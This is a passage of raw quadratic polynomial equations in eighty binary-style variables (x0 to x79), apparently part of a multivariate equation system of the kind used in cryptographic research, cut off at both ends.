x33*x38 + x33*x39 + x33*x40 + x33*x41 + x33*x43 + x33*x44 + x33*x45 + x33*x46 + x33*x47 + x33*x48 + x33*x49 + x33*x51 + x33*x52 + x33*x53 + x33*x54 + x33*x55 + x33*x59 + x33*x60 + x33*x62 + x33*x63 + x33*x68 + x33*x74 + x33*x76 + x33*x78 + x33*x79 + x34*x36 + x34*x37 + x34*x39 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x45 + x34*x47 + x34*x49 + x34*x50 + x34*x51 + x34*x53 + x34*x55 + x34*x56 + x34*x58 + x34*x59 + x34*x61 + x34*x63 + x34*x64 + x34*x65 + x34*x66 + x34*x69 + x34*x70 + x34*x71 + x34*x73 + x34*x78 + x35*x36 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x47 + x35*x48 + x35*x50 + x35*x53 + x35*x55 + x35*x56 + x35*x61 + x35*x63 + x35*x64 + x35*x65 + x35*x66 + x35*x68 + x35*x72 + x35*x73 + x35*x74 + x35*x75 + x35*x77 + x35*x78 + x35*x79 + x35 + x36*x41 + x36*x42 + x36*x44 + x36*x45 + x36*x50 + x36*x52 + x36*x53 + x36*x54 + x36*x59 + x36*x60 + x36*x61 + x36*x62 + x36*x64 + x36*x65 + x36*x67 + x36*x70 + x36*x71 + x36*x72 + x36*x74 + x36*x75 + x36*x76 + x36*x77 + x36 + x37*x38 + x37*x39 + x37*x41 + x37*x44 + x37*x45 + x37*x47 + x37*x50 + x37*x55 + x37*x59 + x37*x60 + x37*x62 + x37*x63 + x37*x66 + x37*x67 + x37*x68 + x37*x69 + x37*x71 + x37*x75 + x37*x77 + x37*x78 + x37 + x38*x40 + x38*x41 + x38*x44 + x38*x47 + x38*x49 + x38*x54 + x38*x56 + x38*x57 + x38*x59 + x38*x60 + x38*x61 + x38*x62 + x38*x63 + x38*x67 + x38*x68 + x38*x69 + x38*x71 + x38*x73 + x38*x75 + x38*x76 + x38*x77 + x38*x78 + x38*x79 + x38 + x39*x40 + x39*x42 + x39*x43 + x39*x44 + x39*x45 + x39*x47 + x39*x49 + x39*x50 + x39*x52 + x39*x53 + x39*x54 + x39*x56 + x39*x59 + x39*x60 + x39*x64 + x39*x67 + x39*x68 + x39*x70 + x39*x71 + x39*x73 + x39*x76 + x39*x78 + x40*x42 + x40*x45 + x40*x48 + x40*x54 + x40*x58 + x40*x59 + x40*x60 + x40*x63 + x40*x64 + x40*x67 + x40*x69 + x40*x72 + x40*x75 + x40*x77 + x41*x45 + x41*x47 + x41*x48 + x41*x52 + x41*x54 + x41*x55 + x41*x56 + x41*x57 + x41*x59 + x41*x70 + x41*x72 + x41*x73 + x41*x77 + x41*x78 + x41*x79 + x41 + x42*x44 + x42*x45 + x42*x48 + x42*x50 + x42*x53 + x42*x54 + x42*x55 + x42*x60 + x42*x61 + x42*x63 + x42*x65 + x42*x69 + x42*x70 + x42*x71 + x42*x73 + x42*x74 + x42*x77 + x42*x78 + x43*x46 + x43*x47 + x43*x49 + x43*x50 + x43*x51 + x43*x52 + x43*x53 + x43*x55 + x43*x56 + x43*x61 + x43*x63 + x43*x69 + x43*x76 + x43*x78 + x44*x47 + x44*x49 + x44*x50 + x44*x51 + x44*x52 + x44*x53 + x44*x54 + x44*x56 + x44*x57 + x44*x59 + x44*x63 + x44*x64 + x44*x65 + x44*x68 + x44*x70 + x44*x72 + x44*x77 + x45*x47 + x45*x50 + x45*x52 + x45*x54 + x45*x55 + x45*x60 + x45*x63 + x45*x66 + x45*x69 + x45*x74 + x45*x76 + x45*x77 + x45*x78 + x45 + x46*x49 + x46*x50 + x46*x53 + x46*x54 + x46*x56 + x46*x57 + x46*x58 + x46*x60 + x46*x66 + x46*x68 + x46*x69 + x46*x71 + x46*x72 + x46*x75 + x46*x76 + x46*x77 + x46 + x47*x49 + x47*x51 + x47*x53 + x47*x57 + x47*x58 + x47*x59 + x47*x61 + x47*x62 + x47*x65 + x47*x68 + x47*x69 + x47*x72 + x47*x77 + x47*x79 + x47 + x48*x49 + x48*x50 + x48*x51 + x48*x52 + x48*x54 + x48*x55 + x48*x56 + x48*x62 + x48*x67 + x48*x68 + x48*x70 + x48*x72 + x48*x75 + x49*x50 + x49*x51 + x49*x52 + x49*x53 + x49*x55 + x49*x60 + x49*x61 + x49*x64 + x49*x65 + x49*x66 + x49*x67 + x49*x68 + x49*x72 + x49*x74 + x49*x75 + x49*x78 + x49 + x50*x51 + x50*x54 + x50*x58 + x50*x59 + x50*x62 + x50*x63 + x50*x64 + x50*x65 + x50*x66 + x50*x69 + x50*x72 + x50*x77 + x50*x78 + x50*x79 + x51*x52 + x51*x53 + x51*x54 + x51*x56 + x51*x58 + x51*x61 + x51*x65 + x51*x69 + x51*x71 + x51*x73 + x51*x76 + x51*x77 + x51*x78 + x51*x79 + x52*x53 + x52*x55 + x52*x59 + x52*x65 + x52*x66 + x52*x68 + x52*x69 + x52*x71 + x52*x73 + x52*x75 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x53*x54 + x53*x55 + x53*x56 + x53*x58 + x53*x59 + x53*x62 + x53*x63 + x53*x64 + x53*x67 + x53*x69 + x53*x71 + x53*x75 + x53*x76 + x53*x78 + x53*x79 + x54*x55 + x54*x57 + x54*x58 + x54*x61 + x54*x62 + x54*x63 + x54*x66 + x54*x68 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x74 + x54*x76 + x54*x78 + x54 + x55*x56 + x55*x58 + x55*x59 + x55*x60 + x55*x61 + x55*x62 + x55*x64 + x55*x65 + x55*x67 + x55*x70 + x55*x75 + x55*x76 + x55*x78 + x55*x79 + x56*x57 + x56*x60 + x56*x62 + x56*x63 + x56*x64 + x56*x65 + x56*x67 + x56*x70 + x56*x73 + x56*x74 + x56*x75 + x57*x58 + x57*x62 + x57*x63 + x57*x64 + x57*x66 + x57*x68 + x57*x69 + x57*x70 + x57*x71 + x57*x72 + x57*x74 + x57*x75 + x57*x76 + x57*x77 + x57*x79 + x58*x59 + x58*x61 + x58*x62 + x58*x63 + x58*x64 + x58*x68 + x58*x73 + x58*x75 + x58*x76 + x58*x77 + x58*x79 + x58 + x59*x61 + x59*x63 + x59*x65 + x59*x67 + x59*x70 + x59*x74 + x59*x75 + x59*x76 + x59*x77 + x59*x78 + x59 + x60*x61 + x60*x64 + x60*x66 + x60*x67 + x60*x71 + x60*x72 + x60*x73 + x60*x74 + x60*x77 + x60*x79 + x61*x64 + x61*x66 + x61*x67 + x61*x71 + x61*x73 + x61*x74 + x61*x75 + x61*x78 + x61*x79 + x61 + x62*x63 + x62*x65 + x62*x66 + x62*x70 + x62*x72 + x62*x76 + x62*x77 + x62*x79 + x62 + x63*x64 + x63*x65 + x63*x68 + x63*x71 + x63*x74 + x63*x75 + x63*x77 + x63*x79 + x64*x65 + x64*x66 + x64*x67 + x64*x69 + x64*x70 + x64*x72 + x64*x73 + x64*x74 + x64*x77 + x64*x78 + x64 + x65*x66 + x65*x67 + x65*x70 + x65*x73 + x65*x76 + x66*x68 + x66*x71 + x66*x73 + x66*x76 + x66*x78 + x66*x79 + x67*x68 + x67*x69 + x67*x70 + x67*x73 + x67*x77 + x67*x79 + x68*x69 + x68*x71 + x68*x72 + x68*x73 + x68*x74 + x68*x79 + x69*x70 + x69*x73 + x69*x74 + x69*x76 + x69*x77 + x69*x79 + x70*x73 + x70*x74 + x70*x76 + x70*x78 + x70 + x71*x73 + x71*x74 + x71*x75 + x71*x77 + x71*x79 + x72*x73 + x72*x74 + x72*x75 + x72*x77 + x72*x78 + x72*x79 + x73*x74 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x74*x75 + x74*x76 + x74*x77 + x74*x78 + x74*x79 + x75*x76 + x75*x77 + x75 + x76*x78 + x76*x79 + x78*x79 + x79 + 1, x0*x3 + x0*x4 + x0*x11 + x0*x15 + x0*x17 + x0*x18 + x0*x20 + x0*x22 + x0*x24 + x0*x27 + x0*x29 + x0*x32 + x0*x33 + x0*x34 + x0*x35 + x0*x36 + x0*x39 + x0*x40 + x0*x45 + x0*x47 + x0*x48 + x0*x51 + x0*x52 + x0*x55 + x0*x57 + x0*x59 + x0*x60 + x0*x61 + x0*x64 + x0*x66 + x0*x67 + x0*x68 + x0*x69 + x0*x71 + x0*x73 + x0*x74 + x0*x75 + x0*x77 + x0*x78 + x0*x79 + x0 + x1*x2 + x1*x5 + x1*x6 + x1*x7 + x1*x8 + x1*x11 + x1*x13 + x1*x16 + x1*x17 + x1*x18 + x1*x21 + x1*x22 + x1*x25 + x1*x29 + x1*x30 + x1*x34 + x1*x37 + x1*x39 + x1*x44 + x1*x45 + x1*x48 + x1*x49 + x1*x51 + x1*x53 + x1*x55 + x1*x59 + x1*x67 + x1*x68 + x1*x69 + x1*x70 + x1*x73 + x1*x76 + x1*x79 + x1 + x2*x4 + x2*x6 + x2*x8 + x2*x9 + x2*x10 + x2*x12 + x2*x13 + x2*x14 + x2*x15 + x2*x16 + x2*x20 + x2*x22 + x2*x24 + x2*x25 + x2*x26 + x2*x29 + x2*x31 + x2*x32 + x2*x33 + x2*x35 + x2*x40 + x2*x41 + x2*x42 + x2*x43 + x2*x44 + x2*x46 + x2*x47 + x2*x51 + x2*x52 + x2*x54 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x61 + x2*x63 + x2*x67 + x2*x68 + x2*x69 + x2*x70 + x2*x73 + x2*x75 + x2*x79 + x2 + x3*x4 + x3*x5 + x3*x6 + x3*x7 + x3*x11 + x3*x14 + x3*x15 + x3*x16 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x21 + x3*x22 + x3*x23 + x3*x24 + x3*x25 + x3*x26 + x3*x29 + x3*x34 + x3*x35 + x3*x36 + x3*x38 + x3*x40 + x3*x41 + x3*x44 + x3*x47 + x3*x48 + x3*x51 + x3*x52 + x3*x55 + x3*x56 + x3*x57 + x3*x59 + x3*x61 + x3*x62 + x3*x66 + x3*x68 + x3*x70 + x3*x73 + x3*x74 + x3*x75 + x3*x76 + x3*x77 + x3*x78 + x4*x7 + x4*x9 + x4*x10 + x4*x11 + x4*x12 + x4*x15 + x4*x16 + x4*x18 + x4*x19 + x4*x20 + x4*x21 + x4*x23 + x4*x25 + x4*x28 + x4*x31 + x4*x34 + x4*x35 + x4*x39 + x4*x40 + x4*x43 + x4*x44 + x4*x46 + x4*x47 + x4*x49 + x4*x52 + x4*x53 + x4*x57 + x4*x60 + x4*x66 + x4*x67 + x4*x70 + x4*x71 + x4*x72 + x4*x73 + x4*x76 + x4*x78 + x4 + x5*x8 + x5*x10 + x5*x12 + x5*x13 + x5*x14 + x5*x15 + x5*x16 + x5*x18 + x5*x21 + x5*x22 + x5*x24 + x5*x25 + x5*x26 + x5*x27 + x5*x30 + x5*x31 + x5*x34 + x5*x36 + x5*x37 + x5*x38 + x5*x40 + x5*x44 + x5*x45 + x5*x51 + x5*x54 + x5*x55 + x5*x56 + x5*x58 + x5*x61 + x5*x62 + x5*x66 + x5*x68 + x5*x70 + x5*x73 + x5*x76 + x5*x77 + x5*x79 + x6*x7 + x6*x9 + x6*x11 + x6*x12 + x6*x14 + x6*x15 + x6*x18 + x6*x19 + x6*x20 + x6*x22 + x6*x24 + x6*x26 + x6*x28 + x6*x30 + x6*x32 + x6*x33 + x6*x35 + x6*x37 + x6*x38 + x6*x39 + x6*x40 + x6*x41 + x6*x42 + x6*x43 + x6*x45 + x6*x48 + x6*x50 + x6*x52 + x6*x55 + x6*x57 + x6*x59 + x6*x61 + x6*x63 + x6*x67 + x6*x71 + x6*x72 + x6*x73 + x6*x75 + x6*x76 + x6*x79 + x6 + x7*x8 + x7*x9 + x7*x10 + x7*x11 + x7*x12 + x7*x13 + x7*x14 + x7*x15 + x7*x16 + x7*x18 + x7*x19 + x7*x24 + x7*x25 + x7*x30 + x7*x33 + x7*x34 + x7*x35 + x7*x40 + x7*x42 + x7*x47 + x7*x48 + x7*x49 + x7*x50 + x7*x51 + x7*x53 + x7*x54 + x7*x61 + x7*x64 + x7*x66 + x7*x67 + x7*x68 + x7*x70 + x7*x73 + x7*x74 + x7*x78 + x8*x11 + x8*x12 + x8*x15 + x8*x16 + x8*x19 + x8*x20 + x8*x23 + x8*x28 + x8*x32 + x8*x34 + x8*x37 + x8*x42 + x8*x45 + x8*x46 + x8*x47 + x8*x48 + x8*x53 + x8*x54 + x8*x56 + x8*x59 + x8*x60 + x8*x61 + x8*x62 + x8*x63 + x8*x68 + x8*x69 + x8*x74 + x8*x78 + x9*x11 + x9*x14 + x9*x17 + x9*x19 + x9*x20 + x9*x27 + x9*x31 + x9*x33 + x9*x35 + x9*x36 + x9*x37 + x9*x38 + x9*x40 + x9*x41 + x9*x42 + x9*x43 + x9*x44 + x9*x45 + x9*x48 + x9*x49 + x9*x52 + x9*x59 + x9*x61 + x9*x62 + x9*x64 + x9*x65 + x9*x67 + x9*x68 + x9*x71 + x9*x72 + x9*x73 + x9*x79 + x9 + x10*x11 + x10*x15 + x10*x16 + x10*x20 + x10*x21 + x10*x23 + x10*x24 + x10*x25 + x10*x26 + x10*x28 + x10*x31 + x10*x32 + x10*x33 + x10*x35 + x10*x38 + x10*x39 + x10*x40 + x10*x41 + x10*x47 + x10*x51 + x10*x53 + x10*x54 + x10*x55 + x10*x58 + x10*x59 + x10*x64 + x10*x69 + x10*x71 + x10*x73 + x10*x75 + x10*x78 + x11*x12 + x11*x13 + x11*x15 + x11*x19 + x11*x21 + x11*x22 + x11*x23 + x11*x25 + x11*x27 + x11*x30 + x11*x31 + x11*x33 + x11*x34 + x11*x36 + x11*x38 + x11*x42 + x11*x44 + x11*x45 + x11*x46 + x11*x48 + x11*x49 + x11*x55 + x11*x61 + x11*x62 + x11*x64 + x11*x66 + x11*x68 + x11*x69 + x11*x70 + x11*x74 + x11*x77 + x11*x78 + x11*x79 + x11 + x12*x14 + x12*x15 + x12*x16 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x27 + x12*x28 + x12*x29 + x12*x30 + x12*x33 + x12*x36 + x12*x38 + x12*x41 + x12*x43 + x12*x44 + x12*x47 + x12*x48 + x12*x49 + x12*x53 + x12*x57 + x12*x64 + x12*x65 + x12*x67 + x12*x71 + x12*x72 + x12*x74 + x12*x79 + x12 + x13*x15 + x13*x16 + x13*x18 + x13*x21 + x13*x27 + x13*x32 + x13*x33 + x13*x37 + x13*x40 + x13*x43 + x13*x44 + x13*x48 + x13*x49 + x13*x50 + x13*x51 + x13*x52 + x13*x53 + x13*x56 + x13*x58 + x13*x60 + x13*x61 + x13*x62 + x13*x65 + x13*x66 + x13*x69 + x13*x70 + x13*x71 + x13*x72 + x13*x76 + x13*x78 + x13*x79 + x14*x15 + x14*x16 + x14*x17 + x14*x18 + x14*x24 + x14*x25 + x14*x26 + x14*x29 + x14*x31 + x14*x33 + x14*x34 + x14*x39 + x14*x43 + x14*x45 + x14*x48 + x14*x49 + x14*x51 + x14*x52 + x14*x54 + x14*x55 + x14*x56 + x14*x59 + x14*x62 + x14*x65 + x14*x66 + x14*x67 + x14*x69 + x14*x71 + x14*x73 + x14*x75 + x14*x78 + x15*x18 + x15*x23 + x15*x24 + x15*x30 + x15*x32 + x15*x34 + x15*x35 + x15*x36 + x15*x38 + x15*x39 + x15*x40 + x15*x44 + x15*x45 + x15*x46 + x15*x47 + x15*x48 + x15*x51 + x15*x52 + x15*x53 + x15*x54 + x15*x55 + x15*x57 + x15*x59 + x15*x60 + x15*x63 + x15*x64 + x15*x66 + x15*x67 + x15*x73 + x15*x76 + x15*x79 + x15 + x16*x17 + x16*x18 + x16*x20 + x16*x24 + x16*x26 + x16*x27 + x16*x29 + x16*x31 + x16*x33 + x16*x34 + x16*x35 + x16*x37 + x16*x41 + x16*x42 + x16*x47 + x16*x48 + x16*x50 + x16*x52 + x16*x53 + x16*x56 + x16*x59 + x16*x60 + x16*x61 + x16*x63 + x16*x66 + x16*x67 + x16*x68 + x16*x69 + x16*x70 + x16*x72 + x16*x73 + x16*x77 + x17*x19 + x17*x20 + x17*x22 + x17*x23 + x17*x25 + x17*x26 + x17*x27 + x17*x28 + x17*x29 + x17*x31 + x17*x33 + x17*x38 + x17*x39 + x17*x40 + x17*x44 + x17*x46 + x17*x48 + x17*x49 + x17*x50 + x17*x51 + x17*x53 + x17*x54 + x17*x55 + x17*x58 + x17*x60 + x17*x62 + x17*x64 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x70 + x17*x72 + x17*x75 + x17*x78 + x17*x79 + x18*x19 + x18*x20 + x18*x22 + x18*x24 + x18*x25 + x18*x27 + x18*x28 + x18*x31 + x18*x32 + x18*x40 + x18*x41 + x18*x42 + x18*x43 + x18*x44 + x18*x45 + x18*x46 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x53 + x18*x54 + x18*x56 + x18*x58 + x18*x64 + x18*x68 + x18*x70 + x18*x72 + x18*x75 + x18*x77 + x18*x79 + x18 + x19*x21 + x19*x28 + x19*x30 + x19*x32 + x19*x34 + x19*x35 + x19*x39 + x19*x40 + x19*x48 + x19*x50 + x19*x52 + x19*x55 + x19*x57 + x19*x59 + x19*x60 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x72 + x19*x73 + x19*x75 + x19*x78 + x19 + x20*x21 + x20*x22 + x20*x26 + x20*x27 + x20*x29 + x20*x30 + x20*x31 + x20*x32 + x20*x34 + x20*x36 + x20*x39 + x20*x41 + x20*x42 + x20*x45 + x20*x46 + x20*x47 + x20*x51 + x20*x53 + x20*x55 + x20*x58 + x20*x59 + x20*x63 + x20*x64 + x20*x67 + x20*x70 + x20*x72 + x20*x74 + x20*x76 + x20*x78 + x20*x79 + x21*x24 + x21*x25 + x21*x26 + x21*x27 + x21*x30 + x21*x31 + x21*x33 + x21*x34 + x21*x39 + x21*x40 + x21*x41 + x21*x42 + x21*x43 + x21*x44 + x21*x45 + x21*x51 + x21*x54 + x21*x55 + x21*x56 + x21*x58 + x21*x59 + x21*x60 + x21*x62 + x21*x63 + x21*x64 + x21*x65 + x21*x66 + x21*x67 + x21*x72 + x21*x76 + x21*x77 + x21 + x22*x24 + x22*x25 + x22*x28 + x22*x29 + x22*x33 + x22*x34 + x22*x35 + x22*x36 + x22*x38 + x22*x39 + x22*x40 + x22*x41 + x22*x42 + x22*x43 + x22*x44 + x22*x48 + x22*x52 + x22*x53 + x22*x54 + x22*x56 + x22*x57 + x22*x59 + x22*x62 + x22*x63 + x22*x64 + x22*x65 + x22*x71 + x22*x72 + x22*x73 + x22*x75 + x22*x78 + x22*x79 + x23*x24 + x23*x25 + x23*x27 + x23*x29 + x23*x30 + x23*x31 + x23*x33 + x23*x34 + x23*x37 + x23*x39 + x23*x40 + x23*x41 + x23*x43 + x23*x44 + x23*x47 + x23*x48 + x23*x49 + x23*x50 + x23*x51 + x23*x52 + x23*x53 + x23*x54 + x23*x58 + x23*x61 + x23*x62 + x23*x63 + x23*x65 + x23*x67 + x23*x69 + x23*x70 + x23*x75 + x23*x78 + x23 + x24*x25 + x24*x26 + x24*x28 + x24*x30 + x24*x31 + x24*x33 + x24*x34 + x24*x36 + x24*x38 + x24*x43 + x24*x48 + x24*x49 + x24*x50 + x24*x52 + x24*x53 + x24*x54 + x24*x56 + x24*x58 + x24*x59 + x24*x61 + x24*x67 + x24*x68 + x24*x69 + x24*x70 + x24*x73 + x24*x74 + x24*x76 + x24*x79 + x25*x26 + x25*x29 + x25*x33 + x25*x35 + x25*x36 + x25*x37 + x25*x38 + x25*x39 + x25*x40 + x25*x41 + x25*x43 + x25*x45 + x25*x47 + x25*x48 + x25*x50 + x25*x51 + x25*x52 + x25*x53 + x25*x57 + x25*x58 + x25*x59 + x25*x60 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x66 + x25*x70 + x25*x75 + x25*x77 + x25*x78 + x25*x79 + x26*x27 + x26*x31 + x26*x32 + x26*x36 + x26*x38 + x26*x39 + x26*x40 + x26*x42 + x26*x45 + x26*x47 + x26*x50 + x26*x52 + x26*x54 + x26*x57 + x26*x58 + x26*x59 + x26*x60 + x26*x62 + x26*x67 + x26*x71 + x26*x75 + x26*x76 + x26*x78 + x27*x30 + x27*x31 + x27*x32 + x27*x34 + x27*x35 + x27*x37 + x27*x40 + x27*x41 + x27*x42 + x27*x43 + x27*x44 + x27*x45 + x27*x46 + x27*x48 + x27*x49 + x27*x50 + x27*x51 + x27*x52 + x27*x54 + x27*x55 + x27*x58 + x27*x60 + x27*x61 + x27*x62 + x27*x63 + x27*x64 + x27*x65 + x27*x66 + x27*x67 + x27*x68 + x27*x71 + x27*x72 + x27*x77 + x27*x78 + x27 + x28*x29 + x28*x30 + x28*x35 + x28*x36 + x28*x38 + x28*x39 + x28*x40 + x28*x42 + x28*x44 + x28*x48 + x28*x52 + x28*x54 + x28*x57 + x28*x59 + x28*x64 + x28*x65 + x28*x66 + x28*x70 + x28*x72 + x28*x75 + x28 + x29*x32 + x29*x35 + x29*x37 + x29*x38 + x29*x39 + x29*x41 + x29*x42 + x29*x44 + x29*x45 + x29*x46 + x29*x47 + x29*x49 + x29*x50 + x29*x52 + x29*x54 + x29*x55 + x29*x57 + x29*x60 + x29*x61 + x29*x62 + x29*x63 + x29*x65 + x29*x66 + x29*x67 + x29*x68 + x29*x70 + x29*x72 + x29*x74 + x29*x77 + x29*x78 + x29*x79 + x29 + x30*x32 + x30*x34 + x30*x37 + x30*x39 + x30*x40 + x30*x42 + x30*x43 + x30*x45 + x30*x48 + x30*x49 + x30*x50 + x30*x51 + x30*x55 + x30*x57 + x30*x61 + x30*x63 + x30*x64 + x30*x68 + x30*x69 + x30*x70 + x30*x71 + x30*x73 + x30*x74 + x30*x76 + x31*x32 + x31*x35 + x31*x39 + x31*x42 + x31*x46 + x31*x51 + x31*x53 + x31*x58 + x31*x60 + x31*x62 + x31*x63 + x31*x65 + x31*x66 + x31*x67 + x31*x69 + x31*x70 + x31*x71 + x31*x74 + x31*x77 + x32*x34 + x32*x35 + x32*x37 + x32*x38 + x32*x40 + x32*x42 + x32*x43 + x32*x45 + x32*x47 + x32*x49 + x32*x50 + x32*x59 + x32*x63 + x32*x64 + x32*x65 + x32*x66 + x32*x67 + x32*x69 + x32*x71 + x32*x74 + x32*x75 + x32*x76 + x32*x77 + x32*x79 + x33*x35 + x33*x40 + x33*x41 + x33*x42 + x33*x43 + x33*x44 + x33*x45 + x33*x46 + x33*x47 + x33*x48 + x33*x49 + x33*x50 + x33*x52 + x33*x53 + x33*x54 + x33*x57 + x33*x59 + x33*x60 + x33*x61 + x33*x62 + x33*x66 + x33*x67 + x33*x68 + x33*x69 + x33*x74 + x33*x75 + x33*x76 + x34*x37 + x34*x40 + x34*x42 + x34*x45 + x34*x46 + x34*x48 + x34*x50 + x34*x52 + x34*x53 + x34*x54 + x34*x57 + x34*x64 + x34*x65 + x34*x66 + x34*x67 + x34*x69 + x34*x71 + x34*x76 + x34*x77 + x34*x78 + x34*x79 + x35*x36 + x35*x38 + x35*x40 + x35*x41 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x47 + x35*x50 + x35*x52 + x35*x53 + x35*x54 + x35*x64 + x35*x65 + x35*x66 + x35*x68 + x35*x70 + x35*x72 + x35*x73 + x35*x74 + x35*x75 + x35*x76 + x35*x77 + x35*x79 + x36*x37 + x36*x39 + x36*x40 + x36*x41 + x36*x42 + x36*x44 + x36*x45 + x36*x48 + x36*x50 + x36*x57 + x36*x58 + x36*x59 + x36*x61 + x36*x63 + x36*x64 + x36*x66 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x37*x38 + x37*x39 + x37*x40 + x37*x42 + x37*x46 + x37*x47 + x37*x49 + x37*x53 + x37*x55 + x37*x56 + x37*x57 + x37*x59 + x37*x60 + x37*x61 + x37*x62 + x37*x63 + x37*x64 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x72 + x37*x73 + x37*x74 + x37*x75 + x37*x76 + x37*x77 + x37*x78 + x37*x79 + x37 + x38*x39 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x46 + x38*x48 + x38*x49 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x60 + x38*x61 + x38*x62 + x38*x63 + x38*x66 + x38*x68 + x38*x72 + x38*x73 + x38*x75 + x38*x76 + x38*x77 + x38*x79 + x38 + x39*x41 + x39*x43 + x39*x47 + x39*x50 + x39*x51 + x39*x55 + x39*x56 + x39*x57 + x39*x58 + x39*x59 + x39*x60 + x39*x65 + x39*x67 + x39*x68 + x39*x69 + x39*x72 + x39*x77 + x39*x78 + x39*x79 + x40*x41 + x40*x42 + x40*x43 + x40*x45 + x40*x46 + x40*x47 + x40*x49 + x40*x50 + x40*x54 + x40*x55 + x40*x57 + x40*x58 + x40*x59 + x40*x62 + x40*x63 + x40*x64 + x40*x65 + x40*x66 + x40*x67 + x40*x68 + x40*x69 + x40*x71 + x40*x77 + x40*x79 + x41*x43 + x41*x46 + x41*x48 + x41*x49 + x41*x51 + x41*x52 + x41*x53 + x41*x54 + x41*x55 + x41*x56 + x41*x57 + x41*x60 + x41*x62 + x41*x63 + x41*x64 + x41*x67 + x41*x70 + x41*x71 + x41*x73 + x41*x74 + x41*x78 + x41*x79 + x42*x43 + x42*x50 + x42*x51 + x42*x52 + x42*x59 + x42*x60 + x42*x62 + x42*x63 + x42*x64 + x42*x66 + x42*x72 + x42*x73 + x42*x74 + x42*x78 + x42*x79 + x42 + x43*x46 + x43*x48 + x43*x49 + x43*x50 + x43*x55 + x43*x57 + x43*x59 + x43*x64 + x43*x65 + x43*x68 + x43*x70 + x43*x71 + x43*x72 + x43*x76 + x43*x77 + x43 + x44*x45 + x44*x46 + x44*x47 + x44*x49 + x44*x50 + x44*x53 + x44*x55 + x44*x56 + x44*x57 + x44*x58 + x44*x60 + x44*x62 + x44*x67 + x44*x68 + x44*x69 + x44*x70 + x44*x71 + x44*x73 + x44*x75 + x44*x76 + x44*x77 + x44*x79 + x45*x46 + x45*x49 + x45*x50 + x45*x52 + x45*x53 + x45*x54 + x45*x56 + x45*x57 + x45*x60 + x45*x65 + x45*x66 + x45*x67 + x45*x74 + x45*x78 + x45*x79 + x46*x48 + x46*x49 + x46*x50 + x46*x51 + x46*x52 + x46*x53 + x46*x54 + x46*x55 + x46*x56 + x46*x57 + x46*x59 + x46*x60 + x46*x63 + x46*x66 + x46*x67 + x46*x70 + x46*x71 + x46*x72 + x46*x76 + x46*x77 + x47*x48 + x47*x49 + x47*x50 + x47*x51 + x47*x52 + x47*x53 + x47*x55 + x47*x63 + x47*x64 + x47*x65 + x47*x67 + x47*x68 + x47*x71 + x47*x73 + x47*x78 + x48*x49 + x48*x50 + x48*x53 + x48*x54 + x48*x55 + x48*x56 + x48*x59 + x48*x61 + x48*x68 + x48*x70 + x48*x71 + x48*x76 + x48*x78 + x49*x50 + x49*x51 + x49*x52 + x49*x54 + x49*x58 + x49*x60 + x49*x62 + x49*x65 + x49*x66 + x49*x67 + x49*x68 + x49*x69 + x49*x72 + x49*x73 + x49*x74 + x49*x76 + x49*x77 + x49*x78 + x49*x79 + x50*x51 + x50*x52 + x50*x53 + x50*x55 + x50*x56 + x50*x59 + x50*x64 + x50*x66 + x50*x68 + x50*x70 + x50*x71 + x50*x75 + x50*x76 + x50*x77 + x50*x78 + x50*x79 + x50 + x51*x53 + x51*x56 + x51*x61 + x51*x63 + x51*x67 + x51*x69 + x51*x71 + x51*x73 + x51*x78 + x52*x54 + x52*x57 + x52*x58 + x52*x59 + x52*x62 + x52*x63 + x52*x64 + x52*x67 + x52*x69 + x52*x71 + x52*x72 + x52*x75 + x52*x77 + x52*x79 + x52 + x53*x55 + x53*x56 + x53*x57 + x53*x62 + x53*x64 + x53*x67 + x53*x71 + x53*x74 + x53*x75 + x53*x77 + x53*x79 + x53 + x54*x55 + x54*x56 + x54*x57 + x54*x62 + x54*x64 + x54*x66 + x54*x69 + x54*x71 + x54*x73 + x54*x77 + x54*x78 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x68 + x55*x70 + x55*x72 + x55*x74 + x55*x77 + x55*x79 + x55 + x56*x57 + x56*x59 + x56*x61 + x56*x63 + x56*x64 + x56*x65 + x56*x66 + x56*x68 + x56*x69 + x56*x70 + x56*x71 + x56*x73 + x56*x76 + x57*x60 + x57*x62 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x67 + x57*x69 + x57*x70 + x57*x72 + x57*x73 + x57*x74 + x57*x76 + x57*x77 + x57*x78 + x57 + x58*x62 + x58*x63 + x58*x65 + x58*x67 + x58*x68 + x58*x71 + x58*x72 + x58*x73 + x58*x75 + x58*x78 + x59*x65 + x59*x67 + x59*x69 + x59*x70 + x59*x73 + x59*x74 + x59*x76 + x59*x78 + x59 + x60*x62 + x60*x63 + x60*x66 + x60*x72 + x60*x76 + x60*x77 + x60*x78 + x60 + x61*x70 + x61*x71 + x61*x73 + x61*x75 + x61*x76 + x61*x78 + x62*x65 + x62*x66 + x62*x67 + x62*x68 + x62*x71 + x62*x72 + x62*x75 + x62*x76 + x62*x78 + x62*x79 + x63*x64 + x63*x66 + x63*x67 + x63*x68 + x63*x71 + x63*x72 + x63*x74 + x63*x76 + x63*x77 + x63*x79 + x63 + x64*x66 + x64*x67 + x64*x68 + x64*x70 + x64*x74 + x64*x76 + x64*x77 + x65*x66 + x65*x67 + x65*x69 + x65*x72 + x65*x73 + x66*x67 + x66*x68 + x66*x69 + x66*x72 + x66*x73 + x66*x74 + x66*x75 + x66*x76 + x66*x79 + x67*x72 + x67*x73 + x67*x74 + 